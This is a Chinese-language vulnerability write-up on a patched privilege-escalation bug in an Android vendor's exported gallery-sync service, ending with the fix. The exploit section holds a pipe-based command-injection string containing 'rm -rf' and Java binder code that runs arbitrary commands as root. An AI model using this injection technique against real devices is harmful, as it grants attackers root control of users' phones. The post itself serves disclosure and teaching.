0x00 前言
国内手机厂商崛起,虽然用的是谷歌的android系统,但是大部分都会在框架层做很大的改动,他们的安全意识一般不够,因此系统漏洞非常多,一挖一大堆。某厂商在170721的时候发布了7.11的系统,那个时候导出了一个系统组件,系统校验不严格,导致我们可以提升到root权限并且执行任意代码,由于在170802版本的时候就已经修复了,也没什么价值了,所以我就把这个漏洞当例子,抛砖引玉。
0x01 漏洞起因(敏感词已经用xxxx代替)
组件导出
<service android:exported="true" android:name="com.xxxxx.cloud.agent.gallery.GallerySyncAgent">
<intent-filter>
<action android:name="com.xxxxx.cloud.xxxxx_SYNC_MODULE"/>
<category android:name="android.intent.category.default"/>
</intent-filter>
</service>
发现是个binder接口,可以通过AIDL远程调用里面的方法
createFolder里面特殊字符校验不严格,可以通过shell管道字符|
绕过
比如,构造mkdir -p /data/local/tmp/mm | cmd
就可以绕过字符串过滤,并且在创建/data/local/tmp/mm的同时执行后面的cmd命令
RUtils.RUtilsCmd执行的是root命令,宿主是一个系统服务,有严格的权限校验。
- 需要系统签名
- 需要权限声明:
<uses-permission android:name="com.xxx.permission.RUTILCMD"/>
0x02 漏洞利用
1、构造Intent bindService 到GallerySyncAgent 这个组件
2、通过shell 的|
字符,绕过命令校验,并且执行任意代码,构造字符串"/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd
后面的cmd就是任意命令了
boolean v2 = false;
Parcel v0 = Parcel.obtain();
Parcel v1 = Parcel.obtain();
try {
v0.writeInterfaceToken("com.xxxx.cloud.agent.gallery.ISyncOcloud");
v0.writeString("/data/local/tmp/mm | rm -rf /data/local/tmp/mm | "+cmd);
binder.transact(15, v0, v1, 0);
v1.readException();
Log.e(TAG, "onServiceConnected: "+v1.readInt());
return v1.readInt() == 1 ?true : false;
}
catch(Throwable v3) {
v1.recycle();
v0.recycle();
throw v3;
}
最后可以在uid=0(root) gid=0(root) groups=0(root) context=u:r:rutilsdaemon:s0
这个进程里面执行任意命令
0x03 修复
加上了android:permission="xxxx.permission.xxxx_COMPONENT_SAFE
系统权限校验
<service android:exported="true" android:name="com.xxxx.cloud.agent.gallery.GallerySyncAgent" android:permission="xxxx.permission.xxxx_COMPONENT_SAFE">
<intent-filter>
<action android:name="com.xxxx.cloud.xxxx_SYNC_MODULE"/>
<category android:name="android.intent.category.default"/>
</intent-filter>
</service>
0x04 总结
这是一种非常经典的漏洞,在用AIDL设计跨进程通讯的时候,没有严格的校验,而且在过滤特殊字符的时候,没有严格过滤,最终一步步导致权限提升。